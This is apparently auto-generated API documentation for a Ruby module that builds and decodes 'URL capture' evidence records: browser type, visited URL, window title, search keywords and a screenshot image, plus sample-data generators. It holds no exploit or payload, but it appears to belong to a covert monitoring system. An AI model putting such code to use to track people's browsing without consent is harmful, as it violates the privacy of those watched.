Module: RCS::UrlcaptureEvidence

Includes:
UrlEvidence
Defined in:
lib/rcs-common/evidence/url.rb

Constant Summary collapse

URL_VERSION = 
2010071301

Constants included from UrlEvidence

RCS::UrlEvidence::BROWSER_TYPE, RCS::UrlEvidence::ELEM_DELIMITER, RCS::UrlEvidence::VERSION_DELIMITER

Instance Method Summary collapse

Methods included from UrlEvidence

#decode_query

Instance Method Details

#additional_header ⇒ Object 



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# File 'lib/rcs-common/evidence/url.rb', line 94

def additional_header
  browser = [1, 2, 3, 4, 5, 6].sample
  r = rand(3)
  url = ['http://reader.google.com', 'https://www.facebook.com', 'http://www.stackoverflow.com'][r].to_utf16le_binary
  window = ['Google', 'Facebook', 'Stackoverflow'][r].to_utf16le_binary
  header = StringIO.new
  header.write [URL_VERSION, browser, url.size, window.size].pack("I*")
  header.write url
  header.write window
  
  header.string
end

#content ⇒ Object 



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# File 'lib/rcs-common/evidence/url.rb', line 85

def content
  path = File.join(File.dirname(__FILE__), 'content', 'url', '00' + (rand(3) + 1).to_s + '.jpg')
  File.open(path, 'rb') {|f| f.read }
end

#decode_additional_header(data) ⇒ Object

Raises:



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# File 'lib/rcs-common/evidence/url.rb', line 107

def decode_additional_header(data)
  raise EvidenceDeserializeError.new("incomplete URLCAPTURE") if data.nil? or data.bytesize == 0

  binary = StringIO.new data

  version, browser, url_len, window_len = binary.read(16).unpack("I*")
  raise EvidenceDeserializeError.new("invalid log version for URLCAPTURE") unless version == URL_VERSION

  ret = Hash.new
  ret[:data] = Hash.new
  ret[:data][:program] = BROWSER_TYPE[browser]
  ret[:data][:url] = binary.read(url_len).utf16le_to_utf8
  ret[:data][:title] = binary.read(window_len).utf16le_to_utf8
  ret[:data][:keywords] = decode_query ret[:data][:url]
  return ret
end

#decode_content(common_info, chunks) {|info| ... } ⇒ Object

Yields:

  • (info) 


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# File 'lib/rcs-common/evidence/url.rb', line 124

def decode_content(common_info, chunks)
  info = Hash[common_info]
  info[:data] ||= Hash.new
  info[:grid_content] = chunks.join
  yield info if block_given?
  :delete_raw
end

#generate_content ⇒ Object 



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# File 'lib/rcs-common/evidence/url.rb', line 90

def generate_content
  [ content ]
end